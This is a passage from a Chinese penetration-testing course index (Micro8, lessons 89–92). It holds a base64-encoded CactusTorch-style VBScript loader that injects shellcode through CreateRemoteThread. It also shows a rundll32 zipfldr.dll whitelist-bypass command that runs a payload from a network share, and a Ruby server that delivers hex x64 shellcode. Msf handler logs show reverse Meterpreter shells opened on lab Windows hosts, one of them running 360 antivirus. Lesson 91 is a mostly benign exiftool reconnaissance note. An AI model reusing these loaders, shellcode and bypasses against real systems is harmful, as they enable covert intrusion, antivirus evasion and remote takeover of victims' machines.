\"ACQAWgAJACgAXwAJACwAZAAJADAAaQAJADQAbgAJADgAcwAJADwAeAAJAEAAfQAJAEQAggAJAEgA\" s = s & \"hwAJAEwAjAAJAFAAkQAJAFQAlgAJAFgAmwAJAFwAoAAJAGAApQAJAGQAqgAJAGgArwAJAGwAtAAJ\" s = s & \"AHAAuQAJAHQAvgAJAHgAwwAJAHwAyAAJAIAAzQAJAIQA0gAJAIgA1wAJAIwA3AAJAJAA4QAJAJQA\" s = s & \"5gAJAJgA6wAJAKAAWgAJAKQAXwAJAPQAlgAJAPgAmwAJAPwA8AAJAAABuQAJAAQB4QAJAAgB9QAJ\" s = s & \"AAwBvgAJABABwwAJABgBbgAJABwBcwAJACABeAAJACQBfQAJACgBWgAJACwBXwAJADABZAAJADQB\" s = s & \"aQAJADgBggAJADwBhwAJAEABjAAuAAsAVgEuABMAXwEuABsAfgEuACMAhwEuACsAhwEuADMAmAEu\" s = s & \"ADsAmAEuAEMAhwEuAEsAhwEuAFMAmAEuAFsAngEuAGMApAEuAGsAzgFDAFsAngGjAHMAWgDDAHMA\" s = s & \"WgADAXMAWgAjAXMAWgAaAIwGAAEDAC4AAQAAAQUA8wgBAAABBwAJCQEAAAEJAGMIAQAAAQsA1AMB\" s = s & \"AASAAAABAAAAAAAAAAAAAAAAAPcAAAACAAAAAAAAAAAAAABRAKkDAAAAAAMAAgAEAAIABQACAAYA\" s = s & \"AgAHAAIACAACAAkAAgAAAAAAAHNoZWxsY29kZTMyAGNiUmVzZXJ2ZWQyAGxwUmVzZXJ2ZWQyADxN\" s = s & \"b2R1bGU+AENyZWF0ZVByb2Nlc3NBAENSRUFURV9CUkVBS0FXQVlfRlJPTV9KT0IARVhFQ1VURV9S\" s = s & \"RUFEAENSRUFURV9TVVNQRU5ERUQAUFJPQ0VTU19NT0RFX0JBQ0tHUk9VTkRfRU5EAERVUExJQ0FU\" s = s & \"RV9DTE9TRV9TT1VSQ0UAQ1JFQVRFX0RFRkFVTFRfRVJST1JfTU9ERQBDUkVBVEVfTkVXX0NPTlNP\" s = s & \"TEUARVhFQ1VURV9SRUFEV1JJVEUARVhFQ1VURQBSRVNFUlZFAENBQ1RVU1RPUkNIAFdSSVRFX1dB\" s = s & \"VENIAFBIWVNJQ0FMAFBST0ZJTEVfS0VSTkVMAENSRUFURV9QUkVTRVJWRV9DT0RFX0FVVEhaX0xF\" s = s & \"VkVMAENSRUFURV9TSEFSRURfV09XX1ZETQBDUkVBVEVfU0VQQVJBVEVfV09XX1ZETQBQUk9DRVNT\" s = s & \"X01PREVfQkFDS0dST1VORF9CRUdJTgBUT1BfRE9XTgBHTwBDUkVBVEVfTkVXX1BST0NFU1NfR1JP\" s = s & \"VVAAUFJPRklMRV9VU0VSAFBST0ZJTEVfU0VSVkVSAExBUkdFX1BBR0VTAENSRUFURV9GT1JDRURP\" s = s & \"UwBJRExFX1BSSU9SSVRZX0NMQVNTAFJFQUxUSU1FX1BSSU9SSVRZX0NMQVNTAEhJR0hfUFJJT1JJ\" s = s & \"VFlfQ0xBU1MAQUJPVkVfTk9STUFMX1BSSU9SSVRZX0NMQVNTAEJFTE9XX05PUk1BTF9QUklPUklU\" s = s & \"WV9DTEFTUwBOT0FDQ0VTUwBEVVBMSUNBVEVfU0FNRV9BQ0NFU1MAREVUQUNIRURfUFJPQ0VTUwBD\" s = s & \"UkVBVEVfUFJPVEVDVEVEX1BST0NFU1MAREVCVUdfUFJPQ0VTUwBERUJVR19PTkxZX1RISVNfUFJP\" s = s & \"Q0VTUwBSRVNFVABDT01NSVQAQ1JFQVRFX0lHTk9SRV9TWVNURU1fREVGQVVMVABDUkVBVEVfVU5J\" s = s & \"Q09ERV9FTlZJUk9OTUVOVABFWFRFTkRFRF9TVEFSVFVQSU5GT19QUkVTRU5UAENSRUFURV9OT19X\" s = s & \"SU5ET1cAZHdYAFJFQURPTkxZAEVYRUNVVEVfV1JJVEVDT1BZAElOSEVSSVRfUEFSRU5UX0FGRklO\" s = s & \"SVRZAElOSEVSSVRfQ0FMTEVSX1BSSU9SSVRZAGR3WQB2YWx1ZV9fAGNiAG1zY29ybGliAGxwVGhy\" s = s & \"ZWFkSWQAZHdUaHJlYWRJZABkd1Byb2Nlc3NJZABDcmVhdGVSZW1vdGVUaHJlYWQAaFRocmVhZABs\" s = s & \"cFJlc2VydmVkAHVFeGl0Q29kZQBHZXRFbnZpcm9ubWVudFZhcmlhYmxlAGxwSGFuZGxlAGJJbmhl\" s = s & \"cml0SGFuZGxlAGxwVGl0bGUAbHBBcHBsaWNhdGlvbk5hbWUAZmxhbWUAbHBDb21tYW5kTGluZQBW\" s = s & \"YWx1ZVR5cGUAZmxBbGxvY2F0aW9uVHlwZQBHdWlkQXR0cmlidXRlAERlYnVnZ2FibGVBdHRyaWJ1\" s = s & \"dGUAQ29tVmlzaWJsZUF0dHJpYnV0ZQBBc3NlbWJseVRpdGxlQXR0cmlidXRlAEFzc2VtYmx5VHJh\" s = s & \"ZGVtYXJrQXR0cmlidXRlAGR3RmlsbEF0dHJpYnV0ZQBBc3NlbWJseUZpbGVWZXJzaW9uQXR0cmli\" s = s & \"dXRlAEFzc2VtYmx5Q29uZmlndXJhdGlvbkF0dHJpYnV0ZQBBc3NlbWJseURlc2NyaXB0aW9uQXR0\" s = s & \"cmlidXRlAEZsYWdzQXR0cmlidXRlAENvbXBpbGF0aW9uUmVsYXhhdGlvbnNBdHRyaWJ1dGUAQXNz\" s = s & \"ZW1ibHlQcm9kdWN0QXR0cmlidXRlAEFzc2VtYmx5Q29weXJpZ2h0QXR0cmlidXRlAEFzc2VtYmx5\" s = s & \"Q29tcGFueUF0dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQBkd1hTaXplAGR3\" s = s & \"WVNpemUAZHdTdGFja1NpemUAZHdTaXplAFNpemVPZgBHVUFSRF9Nb2RpZmllcmZsYWcATk9DQUNI\" s = s & \"RV9Nb2RpZmllcmZsYWcAV1JJVEVDT01CSU5FX01vZGlmaWVyZmxhZwBGcm9tQmFzZTY0U3RyaW5n\" s = s & \"AFRvU3RyaW5nAGNhY3R1c1RvcmNoAGdldF9MZW5ndGgATWFyc2hhbABrZXJuZWwzMi5kbGwAQ0FD\" s = s & \"VFVTVE9SQ0guZGxsAFN5c3RlbQBFbnVtAGxwTnVtYmVyT2ZCeXRlc1dyaXR0ZW4AbHBQcm9jZXNz\" s = s & \"SW5mb3JtYXRpb24AU3lzdGVtLlJlZmxlY3Rpb24ATWVtb3J5UHJvdGVjdGlvbgBscFN0YXJ0dXBJ\" s = s & \"bmZvAFplcm8AbHBEZXNrdG9wAGJ1ZmZlcgBscFBhcmFtZXRlcgBoU3RkRXJyb3IALmN0b3IAbHBT\" s = s & \"ZWN1cml0eURlc2NyaXB0b3IASW50UHRyAFN5c3RlbS5EaWFnbm9zdGljcwBTeXN0ZW0uUnVudGlt\" s = s & \"ZS5JbnRlcm9wU2VydmljZXMAU3lzdGVtLlJ1bnRpbWUuQ29tcGlsZXJTZXJ2aWNlcwBEZWJ1Z2dp\" s = s & \"bmdNb2RlcwBiSW5oZXJpdEhhbmRsZXMAbHBUaHJlYWRBdHRyaWJ1dGVzAGxwUHJvY2Vzc0F0dHJp\" s = s & \"YnV0ZXMAU2VjdXJpdHlBdHRyaWJ1dGVzAGR3Q3JlYXRpb25GbGFncwBDcmVhdGVQcm9jZXNzRmxh\" s = s & \"Z3MAZHdGbGFncwBEdXBsaWNhdGVPcHRpb25zAGR3WENvdW50Q2hhcnMAZHdZQ291bnRDaGFycwBU\" s = s & \"ZXJtaW5hdGVQcm9jZXNzAGhQcm9jZXNzAGxwQmFzZUFkZHJlc3MAbHBBZGRyZXNzAGxwU3RhcnRB\" s = s & \"ZGRyZXNzAENvbmNhdABPYmplY3QAZmxQcm90ZWN0AGxwRW52aXJvbm1lbnQAQ29udmVydABoU3Rk\" s = s & \"SW5wdXQAaFN0ZE91dHB1dAB3U2hvd1dpbmRvdwBWaXJ0dWFsQWxsb2NFeABiaW5hcnkAV3JpdGVQ\" s = s & \"cm9jZXNzTWVtb3J5AGxwQ3VycmVudERpcmVjdG9yeQBvcF9FcXVhbGl0eQBvcF9JbmVxdWFsaXR5\" s = s & \"AAAAAAABABlQAHIAbwBnAHIAYQBtAFcANgA0ADMAMgAADXcAaQBuAGQAaQByAAAVXABTAHkAcwBX\" s = s & \"AE8AVwA2ADQAXAAAFVwAUwB5AHMAdABlAG0AMwAyAFwAAAMwAAAARY+bzuLqxE+aSSAzLsphXgAE\" s = s & \"IAEBCAMgAAEFIAEBEREEIAEBDgQgAQECDgcJHQUYEhwREA4YGAgYBQABHQUOBAABDg4DIAAIBgAD\" s = s & \"Dg4ODgIGGAMgAA4FAAICDg4EAAEIHAi3elxWGTTgiQQBAAAABAIAAAAEBAAAAAQIAAAABBAAAAAE\" s = s & \"IAAAAARAAAAABIAAAAAEAAEAAAQAAgAABAAEAAAEAAgAAAQAEAAABAAgAAAEAEAAAAQAgAAABAAA\" s = s & \"AQAEAAACAAQAAAQABAAACAAEAAAQAAQAACAABAAAAAEEAAAAAgQAAAAEBAAAAAgEAAAAEAQAAAAg\" s = s & \"BAAAAEAEAAAAgAQAMAAABAAAQAACBggCBgICBgkDBhEUAwYRGAIGBgMGESADBhEkEwAKGA4OEgwS\" s = s & \"DAIRFBgOEhwQERAKAAUYGBgYESARJAkABQIYGB0FGAgFAAICGAkKAAcYGBgJGBgJGAUgAgEODggB\" s = s & \"AAgAAAAAAB4BAAEAVAIWV3JhcE5vbkV4Y2VwdGlvblRocm93cwEIAQACAAAAAAAQAQALQ0FDVFVT\" s = s & \"VE9SQ0gAAAUBAAAAAAUBAAEAACkBACQ1NjU5OGYxYy02ZDg4LTQ5OTQtYTM5Mi1hZjMzN2FiZTU3\" s = s & \"NzcAAAwBAAcxLjAuMC4wAAAASDUAAAAAAAAAAAAAYjUAAAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAA\" s = s & \"AFQ1AAAAAAAAAAAAAAAAX0NvckRsbE1haW4AbXNjb3JlZS5kbGwAAAAAAP8lACAAEAAAAAAAAAAA\" s = s & \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\" s = s & \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\" s = s & \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAEAAAABgAAIAAAAAAAAAAAAAAAAAAAAEAAQAA\" s = s & \"ADAAAIAAAAAAAAAAAAAAAAAAAAEAAAAAAEgAAABYQAAANAMAAAAAAAAAAAAANAM0AAAAVgBTAF8A\" s = s & \"VgBFAFIAUwBJAE8ATgBfAEkATgBGAE8AAAAAAL0E7/4AAAEAAAABAAAAAAAAAAEAAAAAAD8AAAAA\" s = s & \"AAAABAAAAAIAAAAAAAAAAAAAAAAAAABEAAAAAQBWAGEAcgBGAGkAbABlAEkAbgBmAG8AAAAAACQA\" s = s & \"BAAAAFQAcgBhAG4AcwBsAGEAdABpAG8AbgAAAAAAAACwBJQCAAABAFMAdAByAGkAbgBnAEYAaQBs\" s = s & \"AGUASQBuAGYAbwAAAHACAAABADAAMAAwADAAMAA0AGIAMAAAADAADAABAEMAbwBtAG0AZQBuAHQA\" s = s & \"cwAAAEMAQQBDAFQAVQBTAFQATwBSAEMASAAAACIAAQABAEMAbwBtAHAAYQBuAHkATgBhAG0AZQAA\" s = s & \"AAAAAAAAAEAADAABAEYAaQBsAGUARABlAHMAYwByAGkAcAB0AGkAbwBuAAAAAABDAEEAQwBUAFUA\" s = s & \"UwBUAE8AUgBDAEgAAAAwAAgAAQBGAGkAbABlAFYAZQByAHMAaQBvAG4AAAAAADEALgAwAC4AMAAu\" s = s & \"ADAAAABAABAAAQBJAG4AdABlAHIAbgBhAGwATgBhAG0AZQAAAEMAQQBDAFQAVQBTAFQATwBSAEMA\" s = s & \"SAAuAGQAbABsAAAAPAAMAAEATABlAGcAYQBsAEMAbwBwAHkAcgBpAGcAaAB0AAAAQwBBAEMAVABV\" s = s & \"AFMAVABPAFIAQwBIAAAAKgABAAEATABlAGcAYQBsAFQAcgBhAGQAZQBtAGEAcgBrAHMAAAAAAAAA\" s = s & \"AABIABAAAQBPAHIAaQBnAGkAbgBhAGwARgBpAGwAZQBuAGEAbQBlAAAAQwBBAEMAVABVAFMAVABP\" s = s & \"AFIAQwBIAC4AZABsAGwAAAA4AAwAAQBQAHIAbwBkAHUAYwB0AE4AYQBtAGUAAAAAAEMAQQBDAFQA\" s = s & \"VQBTAFQATwBSAEMASAAAADQACAABAFAAcgBvAGQAdQBjAHQAVgBlAHIAcwBpAG8AbgAAADEALgAw\" s = s & \"AC4AMAAuADAAAAA4AAgAAQBBAHMAcwBlAG0AYgBsAHkAIABWAGUAcgBzAGkAbwBuAAAAMQAuADAA\" s = s & \"LgAwAC4AMAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\" s = s & \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\" s = s & \"AAAAAAAAAAAAAAAAADAAAAwAAAB0NQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\" s = s & \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\" s = s & \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\" s = s & \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\" s = s & \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\" s = s & \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\" s = s & \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\" s = s & \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\" s = s & \"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\" s = s & \"AAAAAAAAAAAAAAABDQAAAAQAAAAJFwAAAAkGAAAACRYAAAAGGgAAACdTeXN0ZW0uUmVmbGVjdGlv\" s = s & \"bi5Bc3NlbWJseSBMb2FkKEJ5dGVbXSkIAAAACgsA\" entry_class = \"cactusTorch\" Dim fmt, al, d, o Set fmt = CreateObject(\"System.Runtime.Serialization.Formatters.Binary.BinaryFormatter\") Set al = CreateObject(\"System.Collections.ArrayList\") al.Add fmt.SurrogateSelector Set d = fmt.Deserialize_2(Base64ToStream(s)) Set o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class) o.flame binary,code End Sub SetVersion On Error Resume Next Run If Err.Number <> 0 Then Debug Err.Description Err.Clear End If self.close ``` Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-03-03 "},"Chapter1/81-90/90_基于白名单zipfldr.dll执行payload第十八季.html":{"url":"Chapter1/81-90/90_基于白名单zipfldr.dll执行payload第十八季.html","title":"第九十课:基于白名单zipfldr.dll执行payload第十八季","keywords":"","body":"注:请多喝点热水或者凉白开,可预防肾结石,通风等。 痛风可伴发肥胖症、高血压病、糖尿病、脂代谢紊乱等多种代谢性疾病。 zipfldr.dll简介: zipfldr.dll自Windows xp开始自带的zip文件压缩/解压工具组件。 说明:zipfldr.dll所在路径已被系统添加PATH环境变量中,因此,zipfldr.dll命令可识别,但由于为dll文件,需调用rundll32.exe来执行。 Windows 2003 默认位置: C:\\Windows\\System32\\zipfldr.dll C:\\Windows\\SysWOW64\\zipfldr.dll Windows 7 默认位置: C:\\Windows\\System32\\zipfldr.dll C:\\Windows\\SysWOW64\\zipfldr.dll 攻击机:192.168.1.4 Debian靶机:192.168.1.3 Windows 7192.168.1.3 Windows 2003 配置攻击机msf: msf exploit(multi/handler) > show options Module options (exploit/multi/handler): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ Payload options (windows/meterpreter/reverse_tcp): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 192.168.1.4 yes The listen address (an interface may be specified) LPORT 53 yes The listen port Exploit target: Id Name ‐‐ ‐‐‐‐ 0 Wildcard Target msf exploit(multi/handler) > exploit [*] Started reverse TCP handler on 192.168.1.4:53 靶机执行: rundll32.exe zipfldr.dll,RouteTheCall \\\\192.168.1.119\\share\\rev_x86_53_exe.exe msf exploit(multi/handler) > exploit [*] Started reverse TCP handler on 192.168.1.4:53 [*] Sending stage (179779 bytes) to 192.168.1.3 [*] Meterpreter session 7 opened (192.168.1.4:53 ‐> 192.168.1.3:5245) at 2019‐01‐21 04:55:44 ‐0500 meterpreter > getuid Server username: John‐PC\\John meterpreter > getpid Current pid: 6988 Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-23 "},"Content/91-100.html":{"url":"Content/91-100.html","title":"91-100课","keywords":"","body":"第九十一课:从目标文件中做信息搜集第一季 第九十二课:实战中的Payload应用 第九十三课:与CrackMapExec结合攻击 第九十四课:基于实战中的small payload 第九十五课:基于Portfwd端口转发 第九十六课:HTTP隧道ABPTTS第一季 第九十七课:MSF配置自定义Payload控制目标主机权限 第九十八课:HTTP隧道reGeorg第二季 第九十九课:HTTP隧道Tunna第三季 第一百课:HTTP隧道reDuh第四季 Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-03-03 "},"Chapter1/91-100/91_从目标文件中做信息搜集第一季.html":{"url":"Chapter1/91-100/91_从目标文件中做信息搜集第一季.html","title":"第九十一课:从目标文件中做信息搜集第一季","keywords":"","body":"Exiftool简介: ExifTool可读写及处理图像、视频及音频,例如Exif、IPTC、XMP、JFIF、GeoTIFF、ICC Profile。包括许多相机的制造商信息读取,如佳能,卡西欧,大疆,FLIR,三星等。 同样它支持多国语言 root@John:tmp# exiftool ‐lang zh‐cn ‐a ‐u ‐g1 ./55e736d12f2eb9385716e513d8628535e4dd6fdc.jpg ‐‐‐‐ ExifTool ‐‐‐‐ ExifTool 版本 : 11.16 ‐‐‐‐ System ‐‐‐‐ 文件名 : 55e736d12f2eb9385716e513d8628535e4dd6fdc.jpg 文件存储位置 : . 文件大小 : 84 kB 更新日期 : 2019:01:20 20:07:57‐05:00 File Access Date/Time : 2019:01:21 08:00:14‐05:00 File Inode Change Date/Time : 2019:01:21 07:59:58‐05:00 File Permissions : rw‐r‐‐r‐‐ ‐‐‐‐ File ‐‐‐‐ 文件格式 : JPEG File Type Extension : jpg MIME Type : image/jpeg 像宽 : 580 像高 : 773 Encoding Process : Baseline DCT, Huffman coding 每个组件的比特数 : 8 Color Components : 3 YCC 像素结构(Y 至 C 的子采样率) : YCbCr4:2:0 (2 2) ‐‐‐‐ JFIF ‐‐‐‐ JFIF 版本 : 1.01 图像高宽分辨率单位 : 英寸 X Resolution : 1 Y Resolution : 1 ‐‐‐‐ Composite ‐‐‐‐ 图像尺寸 : 580x773 Megapixels : 0.448 30 在大型内网渗透中,尤其是针对办公机的渗透,需要熟知目标集体或者个人的作息时间,工作时间,文档时间,咖啡时间,或者需要从某些文件中获取对方的真实拍摄地坐标等。那么无疑需要快速的从大量文件中筛选信息诉求。当目标越复杂,文件中的信息搜集就更为重要。如文档作者,技术文章作者,财务文档作者等,熟知在大量人员,获取对方职务,大大减少渗透过程中的无用性,重复性,可见性。与暴露性。而作为公司,应该熟悉相关文档的内置属性,尤其是在共享文件服务器上,删除或者复写敏感信息来降低企业安全风险。本篇意旨企业安全在处理本公司相关敏感文件以及重要文件应做好更多的防范,尤其是重要部门,如研发,财务等。 Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 署名-非商业性使用 4.0 协议发布 修订时间: 2019-02-25 "},"Chapter1/91-100/92_实战中的Payload应用.html":{"url":"Chapter1/91-100/92_实战中的Payload应用.html","title":"第九十二课:实战中的Payload应用","keywords":"","body":"攻击机: 192.168.1.4 Debian靶机: 192.168.1.2 Windows 2008 目标机安装:360卫士+360杀毒 [*] 磁盘列表 [ C:D:E: ] C:\\inetpub\\wwwroot\\> tasklist 映像名称 PID 会话名 会话\\# 内存使用 ========================= ======== ================ =========== ============ System Idle Process 0 0 24 K System 4 0 372 K smss.exe 236 0 956 K csrss.exe 324 0 5,572 K csrss.exe 364 1 14,452 K wininit.exe 372 0 4,508 K winlogon.exe 408 1 5,364 K services.exe 468 0 7,376 K lsass.exe 476 0 9,896 K lsm.exe 484 0 3,876 K svchost.exe 576 0 8,684 K vmacthlp.exe 632 0 3,784 K svchost.exe 676 0 7,384 K svchost.exe 764 0 12,716 K svchost.exe 800 0 29,792 K svchost.exe 848 0 11,248 K svchost.exe 900 0 9,308 K svchost.exe 940 0 16,184 K svchost.exe 332 0 11,800 K spoolsv.exe 548 0 15,568 K svchost.exe 1052 0 8,228 K svchost.exe 1076 0 8,808 K svchost.exe 1144 0 2,576 K VGAuthService.exe 1216 0 10,360 K vmtoolsd.exe 1300 0 18,068 K ManagementAgentHost.exe 1332 0 8,844 K svchost.exe 1368 0 11,884 K WmiPrvSE.exe 1768 0 13,016 K dllhost.exe 1848 0 11,224 K msdtc.exe 1940 0 7,736 K WmiPrvSE.exe 1440 0 19,768 K mscorsvw.exe 296 0 4,732 K mscorsvw.exe 584 0 5,088 K sppsvc.exe 1476 0 8,408 K taskhost.exe 2612 1 6,344 K dwm.exe 2868 1 4,604 K explorer.exe 2896 1 44,912 K vmtoolsd.exe 3008 1 17,744 K TrustedInstaller.exe 2268 0 15,776 K 360Tray.exe 2684 1 6,056 K 360sd.exe 2636 1 1,316 K ZhuDongFangYu.exe 2456 0 14,292 K 360rp.exe 1712 1 27,072 K SoftMgrLite.exe 864 1 16,816 K w3wp.exe 3300 0 42,836 K svchost.exe 3840 0 4,584 K notepad.exe 3712 1 5,772 K cmd.exe 3384 0 2,376 K conhost.exe 3520 0 3,420 K tasklist.exe 3096 0 5,276 K 58 C:\\> dir 驱动器 C 中的卷没有标签。 卷的序列号是 C6F8‐9BAB C:\\ 的目录 2017/12/13 03:28 inetpub 2009/07/14 11:20 PerfLogs 2017/12/13 03:28 Program Files 2019/01/23 14:09 Program Files (x86) 2019/01/23 14:15 Users 2017/12/13 03:25 Windows 0 个文件 0 字节 6 个目录 21,387,132,928 可用字节 目标机位x64位 Windows 2008 C:\\> ver Microsoft Windows [版本 6.1.7600] 配置payload: root@John:/var/www/html# cat ./Micropoor_rev.rb require 'socket' if ARGV.empty? puts \"Usage:\" puts \"Micropoor.rb port\" exit end PORT = ARGV.first.to_i def handle_connection(client) puts \"Payload is on‐line \\#{client}\" client.write(\"4831c94881e9c0ffffff488d05efffffff48bb32667fcceeadb9f74 8315827482df8ffffffe2f4ce2efc281e4575f732663e9daffdeba6642e4e1e8be532a552 2ef49ef6e532a5122ef4bebee5b640782c32fd27e588379e5a1eb0ec8199b6f3af728def6 c5b1a60272e8465ff997c705a37cd3ecb388f2a6d7dc36bdfb9f732edff44eeadb9bfb7a6 0baba6ac69a7b92e678865ed99be33b69c9aa65270b6b952f784ef7bf4c6fb2e4e0c42ec7 83e3f277e0dd64dcc067e6533e8e6e8802647be278865ed9dbe33b6198d65a1f1b3b92663 85ef7df87c36ee37cd3eece1b66a382696aff5f8ae733c374f028df8a5cd86278db7f7f17 c208f34331152e4be8c110cfeb19e8bf732272985674bf176dec67ecceee430127bda7dcc ee98795f33623e98a7245dbbbb973e76a2da9ff0cdb3334504c5b8f63266268d5484399c3 299aaa6e4ece7a7622b4e05a39c79bfcda637452ce546377aefbe8d5447b628d299aa8467 6ad3e7733e33450ce5300e73dce6699acc4622b7a60bc6a7527782d78eeccceeadf174de7 637450ce0883e58623e94a62440b68864a604b1526c74ca660199a62e7dd76cef89a6aeec e09f32767fccaff5f17ec02e4e05af17e15361838019a6247abebba132fd27e430077aefa 5846754f84d30bfb79311783a0f321b5794affae09f32267fccaff5d3f76827c5c7c1a289 08e731268d54d8d7ba5399aa85116350cbcd998084ef6ef1def42efa3a9b19f808d53e15ccb7e47e35c2d3dd9a1178b9f7\") client.close end socket = TCPServer.new('0.0.0.0', PORT) puts \"Listening on \\#{PORT}. \" while client = socket.accept Thread.new { handle_connection(client)} end root@John:/var/www/html# ruby ./Micropoor_rev.rb 8080 Listening on 8080. 上传Micropoor_shellcode_x64.exe 配置msf: msf exploit(multi/handler) > use exploit/multi/handler msf exploit(multi/handler) > set payload windows/x64/meterpreter/reverse_tcp payload => windows/x64/meterpreter/reverse_tcp msf exploit(multi/handler) > show options Module options (exploit/multi/handler): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ Payload options (windows/x64/meterpreter/reverse_tcp): Name Current Setting Required Description ‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐ ‐‐‐‐‐‐‐‐‐‐‐ EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 192.168.1.4 yes The listen address (an interface may be specified) LPORT 53 yes The listen port Exploit target: Id Name ‐‐ ‐‐‐‐ 0 Wildcard Target msf exploit(multi/handler) > exploit [*] Started reverse TCP handler on 192.168.1.4:53 靶机执行: msf exploit(multi/handler) > exploit [*] Started reverse TCP handler on 192.168.1.4:53 [*] Sending stage (206403 bytes) to 192.168.1.2 [*] Meterpreter session 6 opened (192.168.1.4:53 ‐> 192.168.1.2:49744) at 2019‐01‐23 01:29:00 ‐0500 meterpreter > getuid Server username: IIS APPPOOL\\DefaultAppPool meterpreter > sysinfo Computer : WIN‐5BMI9HGC42S OS : Windows 2008 R2 (Build 7600). Architecture : x64 System Language : zh_CN Domain : WORKGROUP Logged On Users : 1 Meterpreter : x64/windows meterpreter > ipconfig Interface 1 ============ Name : Software Loopback Interface 1 Hardware MAC : 00:00:00:00:00:00 MTU : 4294967295 IPv4 Address : 127.0.0.1 IPv4 Netmask : 255.0.0.0 IPv6 Address : ::1 IPv6 Netmask : ffff:ffff:ffff:ffff:ffff:ffff:ffff:ffff Interface 11 ============ Name : Intel(R) PRO/1000 MT Network Connection Hardware MAC : 00:0c:29:bc:0d:5c MTU : 1500 IPv4 Address : 192.168.1.2 IPv4 Netmask : 255.255.255.0 IPv6 Address : fe80::5582:70c8:a5a8:8223 IPv6 Netmask : ffff:ffff:ffff:ffff:: meterpreter > ps Process List ============ PID PPID Name Arch Session User Path ‐‐‐ ‐‐‐‐ ‐‐‐‐ ‐‐‐‐ ‐‐‐‐‐‐‐ ‐‐‐‐ ‐‐‐‐ 0 0 [System Process] 4 0 System 236 4 smss.exe 296 468 mscorsvw.exe 324 316 csrss.exe 332 468 svchost.exe 364 356 csrss.exe 372 316 wininit.exe 408 356 winlogon.exe 468 372 services.exe 476 372 lsass.exe 484 372 lsm.exe 548 468 spoolsv.exe 576 468 svchost.exe 584 468 mscorsvw.exe 632 468 vmacthlp.exe 676 468 svchost.exe 764 468 svchost.exe 800 468 svchost.exe 848 468 svchost.exe 864 2684 SoftMgrLite.exe 900 468 svchost.exe 940 468 svchost.exe 1052 468 svchost.exe 1076 468 svchost.exe 1144 468 svchost.exe 1216 468 VGAuthService.exe 1300 468 vmtoolsd.exe 1332 468 ManagementAgentHost.exe 1368 468 svchost.exe 1440 576 WmiPrvSE.exe 1476 468 sppsvc.exe 1712 2636 360rp.exe 1768 576 WmiPrvSE.exe 1848 468 dllhost.exe 1940 468 msdtc.exe 2456 468 ZhuDongFangYu.exe 2612 468 taskhost.exe 2636 1096 360sd.exe 2684 1096 360Tray.exe 2788 3408 Micropoor_shellcode_x64.exe x64 0 IIS APPPOOL\\DefaultAppPool C:\\inetpub\\wwwroot\\Micropoor_shellcode_x64.exe 2868 900 dwm.exe 2896 2852 explorer.exe 3008 2896 vmtoolsd.exe 3196 468 svchost.exe 3300 1368 w3wp.exe x64 0 IIS APPPOOL\\DefaultAppPool c:\\windows\\system32\\inetsrv\\w3wp.exe 3408 3300 cmd.exe x64 0 IIS APPPOOL\\DefaultAppPool C:\\Windows\\system32\\cmd.exe 3712 2896 notepad.exe 4092 324 conhost.exe x64 0 IIS APPPOOL\\DefaultAppPool C:\\Windows\\system32\\conhost.exe meterpreter > 靶机: 附录: Micropoor_shellcode for payload backdoor https://micropoor.blogspot.com/2019/01/micropoorshellcode-for-payload-backdoor.html Micropoor Copyright © 2019 Micro8. All Rights Reserved. 遵循 知识共享 